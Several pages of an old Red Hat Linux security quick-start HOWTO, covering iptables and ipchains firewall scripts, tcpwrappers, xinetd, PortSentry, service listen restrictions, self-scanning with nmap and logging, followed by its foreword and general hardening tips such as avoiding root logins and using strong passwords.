iptables is the next generation packet filter for Linux, and requires a 2.4 kernel. It can do everything ipchains can, but has a number of noteworthy enhancements. The syntax is similar to ipchains in many respects. See the man page for details.

The most noteworthy enhancement is "connection tracking", also known as "stateful inspection". This gives iptables more knowledge of the state of each packet. Not only does it know if the packet is a TCP or UDP packet, or whether it has the SYN or ACK flags set, but also if it is part of an existing connection, or related somehow to an existing connection. The implications for firewalling should be obvious.

The bottom line is that it is easier to get a tight firewall with iptables, than with ipchains. So this is the recommended way to go.

Here is the same script as above, revised for iptables:

#!/bin/sh
#
# iptables.sh
#
# An example of a simple iptables configuration.
#
# This script allows ALL outbound traffic, and denies
# ALL inbound connection attempts.
#
###################################################################
# Begin variable declarations and user configuration options ######
#

# Local Interfaces
# This is the WAN interface that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"
#

## end user configuration options #################################
###################################################################

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# This module may need to be loaded:
modprobe ip_conntrack_ftp

# Start building chains and rules #################################
#
# Let's start clean and flush all chains to an empty state.
iptables -F

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that IPTABLES uses.
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -P INPUT DROP

# Accept localhost/loopback traffic.
iptables -A INPUT -i lo -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
iptables -A INPUT  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
iptables -A INPUT  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
iptables -A INPUT  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT

###################################################################
# Set the catchall, default rule to DENY, and log it all. All other
# traffic not allowed by the rules above, winds up here, where it is
# blocked and logged. This is the default policy for this chain
# anyway, so we are just adding the logging ability here with '-j
# LOG'. Outgoing traffic is allowed as the default policy for the
# 'output' chain. There are no restrictions on that.

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -i ! $WAN_IFACE -j ACCEPT
iptables -A INPUT -j LOG -m limit --limit 30/minute --log-prefix "Dropping: "

echo "Iptables firewall is up `date`."

##-- eof iptables.sh

The same script logic is used here, and thus this does pretty much the same exact thing as the ipchains script in the previous section. There are some subtle differences as to syntax. Note the case difference in the chain names for one (e.g. INPUT vs input). Logging is handled differently too. It has its own "target" now (-j LOG), and is much more flexible.

There are some very fundamental differences as well, that might not be so obvious. Remember this section from the ipchains script:

# Accept non-SYN TCP, and UDP connections to LOCAL_PORTS. These are the high,
# unprivileged ports (1024 to 4999 by default). This will allow return
# connection traffic for connections that we initiate to outside sources.
# TCP connections are opened with 'SYN' packets. We have already opened
# those services that need to accept SYNs for, so other SYNs are excluded here
# for everything else.
ipchains -A input -p tcp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS ! -y -j ACCEPT

# We can't be so selective with UDP since that protocol does not know
# about SYNs.
ipchains -A input -p udp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS -j ACCEPT

We jumped through hoops here with ipchains so that we could restrict unwanted, incoming connections as much as possible. A bit of a kludge, actually.

That section is missing from the iptables version. It is not needed as connection tracking handles this quite nicely, and then some. This is due to the "statefulness" of iptables. It knows more about each packet than ipchains. For instance, it knows whether the packet is part of a "new" connection, or an "established" connection, or a "related" connection. This is the so-called "stateful inspection" of connection tracking.

There are many, many features of iptables that are not touched on here. For more reading on the Netfilter project and iptables, see http://netfilter.samba.org. And for a more advanced set of rules, see the Appendix.

5.2.3. Red Hat Firewall Configuration Tools

Red Hat has not included firewall configuration tools until 7.1, when the GUI utility gnome-lokkit started being bundled. gnome-lokkit does a minimalist set of rules for ipchains only. Explicit support for iptables configuration is not an option, despite the fact that the default kernel is 2.4.

gnome-lokkit is an option on non-upgrade installs, and can also be run as a stand-alone app any time after installation. It will ask a few simple questions, and dump the resulting rule-set into /etc/sysconfig/ipchains.

As mentioned, this is a fairly minimalist set of rules, and possibly a sufficient starting point. An example /etc/sysconfig/ipchains created by gnome-lokkit:

 # Firewall configuration written by lokkit
 # Manual customization of this file is not recommended.
 # Note: ifup-post will punch the current nameservers through the
 #       firewall; such entries will *not* be listed here.
 :input ACCEPT
 :forward ACCEPT
 :output ACCEPT
 -A input -s 0/0 -d 0/0 80 -p tcp -y -j ACCEPT
 -A input -s 0/0 -d 0/0 25 -p tcp -y -j ACCEPT
 -A input -s 0/0 -d 0/0 22 -p tcp -y -j ACCEPT
 -A input -s 0/0 -d 0/0 23 -p tcp -y -j ACCEPT
 -A input -s 0/0 -d 0/0 -i lo -j ACCEPT
 -A input -s 0/0 -d 0/0 -i eth1 -j ACCEPT
 -A input -s 127.0.0.1 53 -d 0/0 -p udp -j ACCEPT
 -A input -s 0/0 -d 0/0 -p tcp -y -j REJECT
 -A input -s 0/0 -d 0/0 -p udp -j REJECT

This is in a format that can be read by the ipchains command ipchains-restore. Consequently, a new or modified set or rules can be generated with the ipchains-save, and redirecting the output to this file. ipchains-restore is indeed how the ipchains init script processes this file. So for this to work, the ipchains service must be activated:

 # chkconfig ipchains on

Conversely, if you want to roll your own iptables rules instead, you should make sure the ipchains init service is disabled. There is also an iptables init script, that works much the same as the ipchains version. There is just no support from gnome-lokkit at this time.

5.3. Tcpwrappers (libwrap)

Tcpwrappers provides much the same desired results as ipchains and iptables above, though works quite differently. Tcpwrappers actually intercepts the connection attempt, then examines its configurations files, and decides whether to accept or reject the request. Tcpwrappers controls access at the application level, rather than the socket level like iptables and ipchains. This can be quite effective, and is a standard component on most Linux systems.

Tcpwrappers consists of the configuration files /etc/hosts.allow and /etc/hosts.deny. The functionality is provided by the libwrap library.

Tcpwrappers first looks to see if access is permitted in /etc/hosts.allow, and if so, access is granted. If not in /etc/hosts.allow, the file /etc/hosts.deny is then checked to see if access is not allowed. If so, access is denied. Else, access is granted. For this reason, /etc/hosts.deny should contain only one uncommented line, and that is: ALL: ALL. Access should then be permitted through entries in /etc/hosts.allow, where specific services are listed, along with the specific host addresses allowed to access these services. While hostnames can be used here, use of hostnames opens the limited possibility for name spoofing.

Tcpwrappers is commonly used to protect services that are started via inetd (or xinetd). But also any program that has been compiled with libwrap support, can take advantage of it. Just don't assume that all programs have built in libwrap support -- they do not. In fact, most probably don't. So we will only use it in our examples here to protect services start via inetd. And then rely on our packet filtering firewall, or other mechanism, to protect non-(x)inetd services.

Below is a small snippet from a typical inetd.conf file:

 # Pop and imap mail services et al
 #
 #pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd ipop2d
 #pop-3   stream  tcp     nowait  root    /usr/sbin/tcpd ipop3d
 #imap    stream  tcp     nowait  root    /usr/sbin/tcpd imapd
 #

The second to last column is the tcpwrappers daemon -- /usr/sbin/tcpd. Immediately after is the daemon it is protecting. In this case, POP and IMAP mail servers. Your distro probably has already done this part for you. For the few applications that have built-in support for tcpwrappers via the libwrap library, specifying the daemon as above is not necessary.

We will use the same principles here: default policy is to deny everything, then open holes to allow the minimal amount of traffic necessary.

So now with your text editor, su to root and open /etc/hosts.deny. If it does not exist, then create it. It is just a plain text file. We want the following line:

 ALL: ALL

If it is there already, fine. If not, add it in and then save and close file. Easy enough. "ALL" is one of the keywords that tcpwrappers understands. The format is $SERVICE_NAME : $WHO, so we are denying all connections to all services here. At least all services that are using tcpwrappers. Remember, this will primarily be inetd services. See man 5 hosts_access for details on the syntax of these files. Note the "5" there!

Now let's open up just the services we need, as restrictively as we can, with a brief example:

 ALL: 127.0.0.1
 sshd,ipop3d: 192.168.1.
 sshd: .myworkplace.com, hostess.mymomshouse.com

The first line allows all "localhost" connections. You will need this. The second allows connections to the sshd and ipop3d services from IP addresses that start with 192.168.1., in this case the private address range for our hypothetical home LAN. Note the trailing ".". It's important. The third line allows connections to only our sshd daemon from any host associated with .myworkplace.com. Note the leading "." in this example. And then also, the single host hostess.mymomshouse.com. In summary, localhost and all our LAN connections have access to any and all tcpwrappered services on bigcat. But only our workplace addresses, and our mother can use sshd on bigcat from outside connections. Everybody else is denied by the default policy in /etc/hosts.deny.

The types of wild cards above (.myworkplace.com and 192.168.1.) are not supported by ipchains and iptables, or most other Linux applications for that matter. Also, tcpwrappers can use hostnames in place of IP addresses which is quite handy in some situations. This does not work with ipchains and iptables.

You can test your tcpwrappers configuration with the included tcpdchk utility (see the man page). Note that at this time this does not work with xinetd, and may not even be included in this case.

There is nothing wrong with using both tcpwrappers and a packet filtering firewall like ipchains. In fact, it is recommended to use a "layered" approach. This helps guard against accidental misconfigurations. In this case, each connection will be tested by the packet filter rules first, then tcpwrappers.

Remember to make backup copies before editing system configuration files, restart the daemon afterward, and then check the logs for error messages.

5.3.1. xinetd

As mentioned, xinetd is an enhanced inetd , and replaces inetd as of Red Hat 7.0. It has much of the same functionality, with some notable enhancements. One is that tcpwrappers support be is compiled in, eliminating the need for explicit references to tcpd. Which means /etc/hosts.allow and /etc/hosts.deny are automatically in effect.

Some of xinetd's other enhancements: specify IP address to listen on, which is a very effective method of access control; limit the rate of incoming connections and the total number of simultaneous connections; limit services to specific times of day. See the xinetd and xinetd.conf man pages for more details.

The syntax is quite different though. An example from /etc/xinetd.d/tftp:

 service tftp
 {
        socket_type     = dgram
        bind            = 192.168.1.1
        instances       = 2
        protocol        = udp
        wait            = yes
        user            = nobody
        only_from       = 192.168.1.0
        server          = /usr/sbin/in.tftpd
        server_args     = /tftpboot
        disable         = no
 }

Notice the bind statement. We are only listening on, or "binding" to, the private, LAN interface here. No outside connections can be made since the outside port is not even opened. We are also only accepting connections from 192.168.1.0, our LAN. For xinetd's purposes, this denotes any IP address beginning with "192.168.1". Note that the syntax is different from inetd. The server statement in this case is the tftp daemon, in.tftpd. Again, this assumes that libwrap/tcpwrappers support is compiled into xinetd. The user running the daemon will be "nobody". Yes, there is a user account called "nobody", and it is wise to run such daemons as non-root users whenever possible. Lastly, the disable statement is xinetd's way of turning services on or off. In this case, it is "on". This is on here only as an example. Do NOT run tftp as a public service as it is unsafe.

5.4. PortSentry

Portsentry works quite differently than the other tools discussed so far. Portsentry does what its name implies -- it guards ports. Portsentry is configured with the /etc/portsentry/portsentry.conf file.

Unlike the other applications discussed above, it does this by actually becoming the listening server on those ports. Kind of like baiting a trap. Running netstat -taup as root while portsentry is running, will show portsentry as the LISTENER on whatever ports portsentry is configured for. If portsentry senses a connection attempt, it blocks it completely. And then goes a step further and blocks the route to that host to stop all further traffic. Alternately, ipchains or iptables can be used to block the host completely. So it makes an excellent tool to stop port scanning of a range of ports.

But portsentry has limited flexibility as to whether it allows a given connection. It is pretty much all or nothing. You can define specific IP addresses that it will ignore in /etc/portsentry/portsentry.ignore. But you cannot allow selective access to individual ports. This is because only one server can bind to a particular port at the same time, and in this case that is portsentry itself. So it has limited usefulness as a stand-alone firewall. As part of an overall firewall strategy, yes, it can be quite useful. For most of us, it should not be our first line of defense, and we should only use it in conjunction with other tools.

Suggestion on when portsentry might be useful:

  • As a second layer of defense, behind either ipchains or iptables. Packet filtering will catch the packets first, so that anything that gets to portsentry would indicate a misconfiguration. Do not use in conjunction with inetd services -- it won't work. They will butt heads.

  • As a way to catch full range ports scans. Open a pinhole or two in the packet filter, and let portsentry catch these and re-act accordingly.

  • If you are very sure you have no exposed public servers at all, and you just want to know who is up to what. But do not assume anything about what portsentry is protecting. By default it does not watch all ports, and may even leave some very commonly probed ports open. So make sure you configure it accordingly. And make sure you have tested and verified your set up first, and that nothing is exposed.

All in all, the packet filters make for a better firewall.

5.5. Proxies

The dictionary defines "proxy" as "the authority or power to act on behalf of another". This pretty well describes software proxies as well. It is an intermediary in the connection path. As an example, if we were using a web proxy like "squid" (http://www.squid-cache.org/), every time we browse to a web site, we would actually be connecting to our locally running squid server. Squid in turn, would relay our request to the ultimate, real destination. And then squid would relay the web pages back to us. It is a go-between. Like "firewalls", a "proxy" can refer to either a specific application, or a dedicated server which runs a proxy application.

Proxies can perform various duties, not all of which have much to do with security. But the fact that they are an intermediary, makes them a good place to enforce access control policies, limit direct connections through a firewall, and control how the network behind the proxy looks to the Internet. So this makes them strong candidates to be part of an overall firewall strategy. And, in fact, are sometimes used instead of packet filtering firewalls. Proxy based firewalls probably make more sense where many users are behind the same firewall. And it probably is not high on the list of components necessary for home based systems.

Configuring and administering proxies can be complex, and is beyond the scope of this document. The Firewall and Proxy Server HOWTO, http://linuxdoc.org/HOWTO/Firewall-HOWTO.html, has examples of setting up proxy firewalls. Squid usage is discussed at http://squid-docs.sourceforge.net/latest/html/book1.htm

5.6. Individual Applications

Some servers may have their own access control features. You should check this for each server application you run. We'll only look at a few of the common ones in this section. Man pages, and other application specific documentation, is your friend here. This should be done whether you have confidence in your firewall or not. Again, layers of protection is always best.

  • BIND - a very common package that provides name server functionality. The daemon itself is "named". This only requires full exposure to the Internet if you are providing DNS look ups for one or more domains to the rest of the world. If you are not sure what this means, you do not need, or want, it exposed. For the overwhelming majority of us this is the case. It is a very common crack target.

    But it may be installed, and can be useful in a caching only mode. This does not require full exposure to the Internet. Limit the interfaces on which it "listens" by editing /etc/named.conf (random example shown):

 options {
   directory "/var/named";
   listen-on { 127.0.0.1; 192.168.1.1; };
   version "N/A";
 };

    The "listen-on" statement is what limits where named listens for DNS queries. In this example, only on localhost and bigcat's LAN interface. There is no port open for the rest of the world. It just is not there. Restart named after making changes.

  • X11 can be told not to allow TCP connections by using the -nolisten tcp command line option. If using startx, you can make this automatic by placing alias startx="startx -- -nolisten tcp" in your ~/.bashrc, or the system-wide file, /etc/bashrc, with your text editor. If using xdm (or variants such as gdm, kdm, etc), this option would be specified in /etc/X11/xdm/Xservers (or comparable) as :0 local /usr/bin/X11/X -nolisten tcp. gdm actually uses /etc/X11/gdm/gdm.conf.

    If using xdm (or comparable) to start X automatically at boot, /etc/inittab can be modified as: xdm -udpPort 0, to further restrict connections. This is typically near the bottom of /etc/inittab.

  • Recent versions of sendmail can be told to listen only on specified addresses:

 # SMTP daemon options
 O DaemonPortOptions=Port=smtp,Addr=127.0.0.1, Name=MTA

    The above excerpt is from /etc/sendmail.cf which can be carefully added with your text editor. The sendmail.mc directive is:

 dnl This changes sendmail to only listen on the loopback device 127.0.0.1
 dnl and not on any other network devices.
 DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA')

    In case you would prefer to build a new sendmail.cf, rather than edit the existing one. Other mail server daemons likely have similar configuration options. Check your local documentation. As of Red Hat 7.1, sendmail has compiled in support for tcpwrappers as well.

  • SAMBA connections can be restricted in smb.conf:

 bind interfaces = true
 interfaces = 192.168.1. 127.
 hosts allow = 192.168.1. 127.

    This will only open, and allow, connections from localhost (127.0.0.1), and the local LAN address range. Adjust the LAN address as needed.

  • The CUPS print daemon can be told where to listen for connections. Add to /etc/cups/cupsd.conf:

 Listen 192.168.1.1:631

    This will only open a port at the specified address and port number.

  • xinetd can force daemons to listen only on a specified address with its "bind" configuration directive. For instance, an internal LAN interface address. See man xinetd.conf for this and other syntax. There are various other control mechanisms as well.

As always, anytime you make system changes, backup the configuration file first, restart the appropriate daemon afterward, and then check the appropriate logs for error messages.

5.7. Verifying

The final step after getting your firewall in place, is to verify that it is doing what you intended. You would be wise to do this anytime you make even minor changes to your system configuration.

So how to do this? There are several things you can do.

For our packet filters like ipchains and iptables, we can list all our rules, chains, and associated activity with iptables -nvL | less (substitute ipchains if appropriate). Open your xterm as wide as possible to avoid wrapping long lines.

This should give you an idea if your chains are doing what you think they should. You may want to perform some of the on-line tasks you normally do first: open a few web pages, send and retrieve mail, etc. This will, of course, not give you any information on tcpwrappers or portsentry. tcpdchk can be used to verify tcpwrappers configuration (except with xinetd).

And then, scan yourself. nmap is the scanning tool of choice and is included with recent Red Hat releases, or from http://www.insecure.org/nmap/nmap_download.html. nmap is very flexible, and essentially is a "port prober". In other words, it looks for open ports, among other things. See the nmap man page for details.

If you do run nmap against yourself (e.g. nmap localhost), this should tell you what ports are open -- and visible locally only! Which hopefully by now, is quite different from what can be seen from the outside. So, scan yourself, and then find a trusted friend, or site (see the Links section), to scan you from the outside. Make sure you are not violating your ISPs Terms of Service by port scanning. It may not be allowed, even if the intentions are honorable. Scanning from outside is the best way to know how the rest of the world sees you. This should tell you how well that firewall is working. See the nmap section in the Appendix for some examples on nmap usage.

One caveat on this: some ISPs may filter some ports, and you will not know for sure how well your firewall is working. Conversely, they make it look like certain ports are open by using web, or other, proxies. The scanner may see the web proxy at port 80 and mis-report it as an open port on your system.

Another option is to find a website that offers full range testing. http://www.hackerwhacker.com is one such site. Make sure that any such site is not just scanning a relatively few well known ports.

Repeat this procedure with every firewall change, every system upgrade or new install, and when any key components of your system changes.

You may also want to enable logging all the denied traffic. At least temporarily. Once the firewall is verified to be doing what you think it should, and if the logs are hopelessly overwhelming, you may want to disable logging.

If relying on portsentry at all, please read the documentation. Depending on your configuration it will either drop the route to the scanner, or implement a ipchains/iptables rule doing the same thing. Also, since it "listens" on the specified ports, all those ports will show as "open". A false alarm in this case.

5.8. Logging

Linux does a lot of logging. Usually to more than one file. It is not always obvious what to make of all these entries -- good, bad or indifferent? Firewall logs tend to generate a fair amount of each. Of course, you are wanting to stop only the "bad", but you will undoubtedly catch some harmless traffic as well. The 'net has a lot of background noise.

In many cases, knowing the intentions of an incoming packet are almost impossible. Attempted intrusion? Misbehaved protocol? Mis-typed IP address? Conclusions can be drawn based on factors such as destination port, source port, protocol, and many other variables. But there is no substitute for experience in interpreting firewall logs. It is a black art in many cases.

So do we really need to log? And how much should we be trying to log? Logging is good in that it tells us that the firewall is functional. Even if we don't understand much of it, we know it is doing "something". And if we have to, we can dig into those logs and find whatever data might be called for.

On the other hand, logging can be bad if it is so excessive, it is difficult to find pertinent data, or worse, fills up a partition. Or if we over re-act and take every last entry as an all out assault. Some perspective is a great benefit, but something that new users lack almost by definition. Again, once your firewall is verified, and you are perplexed or overwhelmed, home desktop users may want to disable as much logging as possible. Anyone with greater responsibilities should log, and then find ways to extract the pertinent data from the logs by filtering out extraneous information.

Not sure where to look for log data? The two logs to keep an eye on are /var/log/messages and /var/log/secure. There may be other application specific logs, depending on what you have installed, or using. FTP, for instance, logs to /var/log/xfer on Red Hat.

Portsentry and tcpwrappers do a certain amount of logging that is not adjustable. xinetd has logging enhancements that can be turned on. Both ipchains and iptables, on the other hand, are very flexible as to what is logged.

For ipchains the -l option can be added to any rule. iptables uses the -j LOG target, and requires its own, separate rule instead. iptables goes a few steps further and allows customized log entries, and rate limiting. See the man page. Presumably, we are more interested in logging blocked traffic, so we'd confine logging to only our DENY and REJECT rules.

So whether you log, and how much you log, and what you do with the logs, is an individual decision, and probably will require some trial and error so that it is manageable. A few auditing and analytical tools can be quite helpful:

Some tools that will monitor your logs for you and notify you when necessary. These likely will require some configuration, and trial and error, to make the most out of them:

  • A nice log entry analyzer for ipchains and iptables from Manfred Bartz: http://www.logi.cc/linux/NetfilterLogAnalyzer.php3. What does all that stuff mean anyway?

  • LogSentry (formerly logcheck) is available from http://www.psionic.org/products/logsentry.html, the same group that is responsible for portsentry. LogSentry is an all purpose log monitoring tool with a flexible configuration, that handles multiple logs.

  • http://freshmeat.net/projects/firelogd/, the Firewall Log Daemon from Ian Jones, is designed to watch, and send alerts on iptables or ipchains logs data.

  • http://freshmeat.net/projects/fwlogwatch/ by Boris Wesslowski, is a similar idea, but supports more log formats.

5.9. Where to Start

Let's take a quick look at where to run our firewall scripts from.

Portsentry can be run as an init process, like other system services. It is not so important when this is done. Tcpwrappers will be automatically be invoked by inetd or xinetd, so not to worry there either.

But the packet filtering scripts will have to be started somewhere. And many scripts will have logic that uses the local IP address. This will mean that the script must be started after the interface has come up and been assigned an IP address. Ideally, this should be immediately after the interface is up. So this depends on how you connect to the Internet. Also, for protocols like PPP or DHCP that may be dynamic, and get different IP's on each re-connect, it is best to have the scripts run by the appropriate daemon.

Red Hat uses /etc/ppp/ip-up.local for any user defined, local PPP configuration. If this file does not exist, create it, and make it executable (chmod +x). Then with your text editor, add a reference to your firewall script.

For DHCP, it depends on which client. dhcpcd will execute /etc/dhcpcd/dhcpcd-<interface>.exe (e.g. dhcpcd-eth0.exe) whenever a lease is obtained or renewed. So this is where to put a reference to your firewall script. For pump (the default on Red Hat), the main configuration file is /etc/pump.conf. Pump will run whatever script is defined by the "script" statement any time there is a new or renewed lease:

 script /usr/local/bin/ipchains.sh

If you have a static IP address (i.e. it never changes), the placement is not so important and should be before the interface comes up!

5.10. Summary and Conclusions for Step 3

In this section we looked at various components that might be used to construct a "firewall". And learned that a firewall is as much a strategy and combination of components, as it is any one particular application or component. We looked at a few of the most commonly available applications that can be found on most, if not all, Linux systems. This is not a definitive list.

This is a lot of information to digest at all at one time and expect anyone to understand it all. Hopefully this can used as a starting point, and used for future reference as well. The packet filter firewall examples can be used as starting points as well. Just use your text editor, cut and paste into a file with an appropriate name, and then run chmod +x against it to make it executable. Some minor editing of the variables may be necessary. Also look at the Links section for sites and utilities that can be used to generate a custom script. This may be a little less daunting.

Now we are done with Steps 1, 2 and 3. Hopefully by now you have already instituted some basic measures to protect your system(s) from the various and sundry threats that lurk on networks. If you haven't implemented any of the above steps yet, now is a good time to take a break, go back to the top, and have at it. The most important steps are the ones above.

A few quick conclusions...

"What is best iptables, ipchains, tcpwrappers, or portsentry?" The quick answer is that iptables can do more than any of the others. So if you are using a 2.4 kernel, use iptables. Then, ipchains if using a 2.2 kernel. The long answer is "it just depends on what you are doing and what the objective is". Sorry. The other tools all have some merit in any given situation, and all can be effective in the right situation.

"Do I really need all these packages?" No, but please combine more than one approach, and please follow all the above recommendations. iptables by itself is good, but in conjunction with some of the other approaches, we are even stronger. Do not rely on any single mechanism to provide a security blanket. "Layers" of protection is always best. As is sound administrative practices. The best iptables script in the world is but one piece of the puzzle, and should not be used to hide other system weaknesses.

"If I have a small home LAN, do I need to have a firewall on each computer?" No, not necessary as long as the LAN gateway has a properly configured firewall. Unwanted traffic should be stopped at that point. And as long as this is working as intended, there should be no unwanted traffic on the LAN. But, by the same token, doing this certainly does no harm. And on larger LANs that might be mixed platform, or with untrusted users, it would be advisable.

Prev | Home | Next
Step 2: Updating |  | Intrusion Detection


Foreword

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

2. Foreword

Before getting into specifics, let's try to briefly answer some questions about why we need to be concerned about security in the first place.

It is easy to see why an e-commerce site, an on-line bank, or a government agency with sensitive documents would be concerned about security. But what about the average user? Why should even a Linux home Desktop user worry about security?

Anyone connected to the Internet is a target, plain and simple. It makes little difference whether you have a part-time dialup connection, or a full-time connection, though full-time connections make for bigger targets. Larger sites make for bigger targets too, but this does not let small users off the hook since the "small user" may be less skilled and thus an easier victim. Red Hat, and Red Hat based distributions, tend to make for bigger targets as well, since the installed user base is so large.

There are those out there that are scanning just for easy victims all the time. If you start logging unwanted connection attempts, you will see this soon enough. There is little doubt that many of these attempts are maliciously motivated and the attacker, in some cases, is looking for Linux boxes to crack. Does someone on the other side of the globe really want to borrow my printer?

What do they want? Often, they just may want your computer, your IP address, and your bandwidth. Then they use you to either attack others, or possibly commit crimes or mischief and are hiding their true identity behind you. This is an all too common scenario. Commercial and high-profile sites are targeted more directly and have bigger worries, but we all face this type of common threat.

With a few reasonable precautions, Red Hat Linux can be very secure, and with all the available tools, makes for a fantastically fun and powerful Internet connection or server. Most successful break-ins are the result of ignorance or carelessness.

The bottom line is:

  • Do you want control of your own system or not?

  • Do you want to unwittingly participate in criminal activity?

  • Do you want to be used by someone else?

  • Do you want to risk losing your Internet connection?

  • Do you want to have to go through the time consuming steps of reclaiming your system?

  • Do you want to chance the loss of data on your system?

These are all real possibilities, unless we take the appropriate precautions.

Warning

If you are reading this because you have already been broken into, or suspect that you have, you cannot trust any of your system utilities to provide reliable information. And the suggestions made in the next several sections will not help you recover your system. Please jump straight to the Have I been Hacked? section, and read that first.

2.1. The Optimum Configuration

Ideally, we would want one computer as a dedicated firewall and router. This would be a bare bones installation, with no servers running, and only the required services and components installed. The rest of our systems would connect via this dedicated router/firewall system. If we wanted publicly accessible servers (web, mail, etc), these would be in a "DMZ" (De-militarized Zone). The router/firewall allows connections from outside to whatever services are running in the DMZ by "forwarding" these requests, but it is segregated from the rest of the internal network (aka LAN) otherwise. This leaves the rest of the internal network in fairly secure isolation, and relative safety. The "danger zone" is confined to the DMZ.

But not everyone has the hardware to dedicate to this kind of installation. This would require a minimum of two computers. Or three, if you would be running any publicly available servers (not a good idea initially). Or maybe you are just new to Linux, and don't know your way around well enough yet. So if we can't do the ideal installation, we will do the next best thing.

2.2. Before We Start

Before we get to the actual configuration sections, a couple of notes.

With Linux, there is always more than one way to perform any task. For the purposes of our discussion, we will have to use as generic set of tools as we can. Unfortunately, GUI tools don't lend themselves to this type of documentation. So we will be using text based, command line tools for the most part. Red Hat does provide various GUI utilities, feel free to substitute those in appropriate places.

The next several sections have been written such that you can perform the recommended procedures as you read along. This is the "Quick Start" in the document title!

To get ready, what you will need for the configuration sections below:

  • A text editor. There are many available. If you use a file manager application like gmc or nautilus, it probably has a built in editor. This will be fine. pico and mcedit are two relatively easy to use editors if you don't already have a favorite. There is a quick guide to Text editors in the Appendix that might help you get started. It is always a good idea to make a back up copy, before editing system configuration files.

  • For non-GUI editors and some of the commands, you will also need a terminal window opened. xterm, rxvt, and gnome-terminal all will work, as well as others.

We'll be using a hypothetical system here for examples with the hostname "bigcat". Bigcat is a Linux desktop with a fresh install of the latest/greatest Red Hat running. Bigcat has a full-time, direct Internet connection. Even if your installation is not so "fresh", don't be deterred. Better late than never.

Prev | Home | Next
Introduction |  | Step 1: Which services do we really need?


General Tips

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

7. General Tips

This section will quickly address some general concepts for maintaining a more secure and reliable system or network. Let's emphasize "maintaining" here since computer systems change daily, as does the environment around them. As mentioned before, there isn't any one thing that makes a system secure. There are too many variables. Security is an approach and an attitude more than it is a reliance on any particular product, application or specific policy.

  • Do not allow remote root logins. This may be controlled by a configuration file such as /etc/securetty. Remove any lines that begin "pts". This is one big security hole.

  • In fact, don't log in as root at all. Period. Log in on your user account and su to root when needed. Whether the login is remote or local. Or use sudo, which can run individual commands with root privileges. (Red hat includes a sudo package. ) This takes some getting used to, but it is the "right" way to do things. And the safest. And will become more a more natural way of doing this as time goes on.

    I know someone is saying right now "but that is so much trouble, I am root, and it is my system". True, but root is a specialized account that was not ever meant to be used as a regular user account. Root has access to everything, even hardware devices. The system "trusts" root. It believes that you know what you are doing. If you make a mistook, it assumes that you meant that, and will do it's best to do what you told it to do...even if that destroys the system!

    As an example, let's say you start X as root, open Netscape, and visit a web site. The web page has badly behaved java script. And conceivably now that badly written java script might have access to much more of your system than if you had done it the "right" way.

  • Take passwords seriously. Don't give them out to anyone. Don't use the same one for everything. Don't use root's password for anything else -- except root's password! Never sign up or register on line, using any of your system passwords. Passwords should be a combination of mixed case letters, numbers and/or punctuation and a reasonable length (eight characters or longer). Don't use so-called "dictionary" words that are easy to guess like "cat" or "dog". Don't incorporate personal information like names or dates or hostnames. Don't write down system passwords -- memorize them.

    Use the more secure "shadow" passwords. This has been the default on Red Hat for some time now. If the file /etc/shadow exists, then it is enabled already. The commands pwconv and grpconv, can be used to convert password and group files to shadow format if available.

  • Avoid using programs that require clear text logins over untrusted networks like the Internet. Telnet is a prime example. ssh is much better. If there is any support for SSL (Secure Socket Layers), use it. For instance, does your ISP offer POP or IMAP mail via SSL? Recent Red Hat releases do include openssl, and many Linux applications can use SSL where support is available.

  • Set resource limits. There are various ways to do this. The need for this probably increases with the number of users accessing a given system. Not only does setting limits on such things as disk space prevent intentional mischief, it can also help with unintentionally misbehaved applications or processes. quota (man quota) can be used to set disk space limits. Bash includes the ulimit command (man ulimit or man bash), that can limit various functions on a per user basis.

    Also, not discussed here at any length, but PAM (Pluggable Authentication Modules) has a very sophisticated approach to controlling various system functions and resources. See man pam to get started. PAM is configured via either /etc/pam.conf or /etc/pam.d/*. Also files in /etc/security/*, including /etc/security/limits.conf, where again various sane limits can be imposed. An in depth look at PAM is beyond the scope of this document. The User-Authentication HOWTO (http://linuxdoc.org/HOWTO/User-Authentication-HOWTO/index.html) has more on this.

  • Make sure someone with a clue is getting root's mail. This can be done with an "alias". Typically, the mail server will have a file such as /etc/aliases where this can defined. This can conceivably be an account on another machine if need be:

 # Person who should get root's mail.  This alias
 # must exist.
 # CHANGE THIS LINE to an account of a HUMAN
 root:           hal@bigcat

    Remember to run newaliases (or equivalent) afterward.

  • Be careful where you get software. Use trusted sources. How well do you trust complete strangers? Check Red Hat's ftp site (or mirrors) first if looking for a specific package. It will probably be best suited for your system any way. Or, the original package's project site is good as well. Installing from raw source (either tarball or src.rpm) at least gives you the ability to examine the code. Even if you don't understand it ;-) While this does not seem to be a wide spread problem with Linux software sites, it is very trivial for someone to add a very few lines of code, turning that harmless looking binary into a "Trojan horse" that opens a backdoor to your system. Then the jig is up.

  • So someone has scanned you, probed you, or otherwise seems to want into your system? Don't retaliate. There is a good chance that the source IP address is a compromised system, and the owner is a victim already. Also, you may be violating someone's Terms of Service, and have trouble with your own ISP. The best you can do is to send your logs to the abuse department of the source IP's ISP, or owner. This is often something like "abuse@someisp.com". Just don't expect to hear much back. Generally speaking, such activity is not legally criminal, unless an actual break-in has taken place. Furthermore, even if criminal, it will never be prosecuted unless significant damage (read: big dollars) can be shown.

  • Red Hat users can install the "Bastille Hardening System", http://www.bastille-linux.org/. This is a multi-purpose system for "hardening" Red Hat and Mandrake system security. It has a GUI interface which can be used to construct firewall scripts from scratch and configure PAM among many other things. Debian support is new.

